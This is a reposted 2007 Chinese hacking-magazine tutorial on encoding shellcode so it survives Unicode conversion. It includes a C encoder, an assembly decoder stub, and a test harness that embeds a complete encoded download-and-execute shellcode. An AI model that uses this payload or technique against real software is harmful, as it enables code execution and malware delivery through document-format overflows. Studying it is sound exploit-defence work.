鬼仔's Blog

文章作者：gyzy [E.S.T]（www.gyzy.org）
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

本文已经发表在《黑客防线》2007年5月刊。作者及《黑客防线》保留版权，转载请注明原始出处。

适合读者：溢出爱好者
前置知识：汇编语言、Shellcode基本原理
编写Unicode有效的Shellcode
文/图 gyzy[江苏大学信息安全系&EST]
对于溢出爱好者来说，能够编写Shellcode是一个必备的基本技能,特别是能应对各种在实际情况中对Shellcode存在各种限制条件的时候，这种能力就显得尤为重要了。黑防2007年第二期中介绍了纯字母数字的Shellcode的编写，在3期中的WinRAR 7z溢出中就派上了用场。Unicode大家应该不陌生,在一些大型程序中，比如Word、Excel考虑到不同语言平台的差异性,都会使用 Unicode，在利用这些漏洞的时候，我们以往的Shellcode就难以适用了。一个普通的Down&Exec的Shellcode经过 MultiByteToWideChar函数转换成Unicode后,如图1

图1

Shellcode编写的思路
可能有的读者认为只要先将Shellcode写好，然后用WideCharToMultiByte函数转换成ASCII码就可以了，再经过程序转换成 Unicode就可以了，但事实不是这样的，在转换成Unicode的时候，转换函数会根据当前使用的代码页进行转换,比如大写字母'A'(\x41)被转换成\x41\x00，但是第一个字节>0x80或者第二个字节不是\x00的时候，情况就不是这么简单了， MultiByteToWideChar会查找代码页中的对应结果，假如找不到就会有\x3F(?)代替，表示有错误。所以大家看到为什么图1中转换后的 Shellcode会出现问号。这儿我们还是采取分段编码，如下：
| |
| 解码头部 |
—————————–
| 拆分编码的 |
| 原ShellCode |
为了保护原始的Shellcode，我们将原始的Shellcode每个字节都拆分成两个字节，高4位和低4位均加上0x61(a)，由于4位只能表示0- 15，所以每个字节都可以拆成a-p的两个字节,这样就顺利的躲过了编码转换的问题，剩下的就是构造尽量小的解码头，使之转换不出现0x3F。当然，最理想的情况就是解码头在ASCII码的情况下是纯字符，这儿我介绍的解码头不是纯字符，在MultiByteToWideChar中使用不同的代码页转换出的结果都是不一样的，也就是Shellcode可能无法实现跨语言平台，上述的纯字符解码头则可以跨语言平台实现通用。

编写实例
有了思路后就剩下编码的问题了，分成4部分分别加以阐述
1）对原Shellcode进行拆分编码,编码的思路已经说过，下面是编码部分的代码:

//shellcode1指向待编码的Shellcode、pShellcode 是指向其的指针
//详见encode.cpp
BYTE* pShellcode = shellcode1;
char high,low;
for( int i = 0 ; i < sizeof(shellcode1) - 1 ; i++,pShellcode++)
{
high = low = *pShellcode ;
//对高4位进行编码
high >>= 4; //将高4位移至低4位
high &= 0xF; //清零移位后的高4位
high += 0x61;

//对低4位进行编码
low &= 0xF; //清零高4位
low += 0x61 ;
printf("%c%c",high,low); //输出编码后的结果
}
printf("%d",(sizeof(shellcode1) - 1)*2);

编码前和编码后的Shellcode分别如图2和3所示:

图2

图3
例如编码前第一个字节\xE9高4位和低4位分别是\xE和\x9,加上0x61后就是0x6F(o)和0x6A(j)。

2）解码头的编写，必须保证转换成ASCII后没有出现0x3F,汇编代码如下所示:

__asm{
ADD CX,0x330 // 66 81 C1 30 03
ADD ESI,30 //83C6 30
MOV ESI,ESP //8BF4
PUSH ESI //56
MOV EDI,ESI //8B FE
NOP //90
decode:
LODS BYTE PTR DS:[ESI] //AC
SUB AX,0x61 //66 2D 61 00
SHL AX,4 //66 C1 E0 04
NOP //90
MOV DX,AX //66 8B D0
NOP //90
INC ESI //46
NOP //90
LODS BYTE PTR DS:[ESI]//AC
NOP //90
SUB AL,0x61 //2C 61
PUSH ECX //51
ADD AL,DL //02 C2
POP ECX //59
STOS BYTE PTR ES:[EDI]//AA
NOP //90
INC ESI //46
NOP //90
DEC ECX //49
JNZ decode //75 E0
NOP //90
RETN //C3
NOP //90
}

有几点需要注意，保持解码头为偶数个字节，因为Unicode是双字节码，碰到有0x3F的情况，在不影响指令的前提下进行等价变换。如上解码头被转换成ASCII的情况下为：

"\xC4\x58\xA5\xC1\xD6\x5F\xC8\x43\xA5\xC6\xD7\x50\xDB\xB1\x95\xBB"
"\x90\xE6\xEA\xC0\xAC\xA6\xE5\xCC\xBE\xAF\xDB\xA6\xDF\x58\xDA\xF9"
"\x90\xE5\xA8\xBB\x8A\x91\xD0\xB0\xDF\x58\xAE\x74\xBF\xA4\xE0\x41"

3）测试代码
测试代码如下，模拟了溢出发生时的情况：

unsigned char encoded[] =
"\xC4\x58\xA5\xC1\xD6\x5F\xC8\x43\xA5\xC6\xD7\x50\xDB\xB1\x95\xBB"
"\x90\xE6\xEA\xC0\xAC\xA6\xE5\xCC\xBE\xAF\xDB\xA6\xDF\x58\xDA\xF9"
"\x90\xE5\xA8\xBB\x8A\x91\xD0\xB0\xDF\x58\xAE\x74\xBF\xA4\xE0\x41"
"ojngaaaaaafkgekbdaaaaaaaileaamilhabmknileaaiilniilhddmilhebohiadpdilhocaadplileo"
"beddonfgfhfbildpadplilpcgkaofjpdkgheaifjfpidmhaeefocojfjfpfoilmnilegceadmdnbobad"
"mbddmjggilaiilegbmadmdmbobacadmbilaaadmdilpkilphidmgaoilnagkaefjoifbaaaaaaidmgan"
"fcfgppfhpmfkilnigkabfjoidoaaaaaaidmgbdfgegiadoiahfpkiadgiafoidomcailnmgkcafdppfh"
"ommhaeadfmgbcogfmheeadaehigfaaaaddmafafafdfgfappfhpmilnmgkabfdppfhpafappfhpeddma"
"kmifmahfpjfbfcfgfdppncfkfjklocooddmamdoicfppppppehgfhefahcgpgdebgegehcgfhdhdaaeh"
"gfhefdhjhdhegfgneegjhcgfgdhegphchjebaafhgjgoefhigfgdaaefhigjhefegihcgfgbgeaaemgp"
"gbgeemgjgchcgbhchjebaahfhcgmgngpgoaafffcemeegphhgogmgpgbgefegpeggjgmgfebaagihehe"
"hadkcpcpdbdcdhcodacodacodbcpghhjhkhjcogfhigfia";

//模拟溢出发生时JMP ESP后ESP指向Shellcode的情况
__asm LEA ESP,encshellcode
__asm XOR ECX,ECX
__asm JMP ESP
}

在经过MultiByteToWideChar编码转换下，Shellcode仍然成功执行了，如图4:

图4

小结
Shellcode也是一门学问，平时要注意这方面的学习，以免发生“Shellcode到用时方很少”的尴尬局面,特别是在Office系列文件的溢出中，经常会出现编码转换的问题，希望能给广大黑友带来一点帮助，本人也是菜鸟，如有错误纰漏，欢迎指正。
（文中所涉及的程序或代码，请到黑防官方网站下载，详细地址请看公共论坛置顶帖）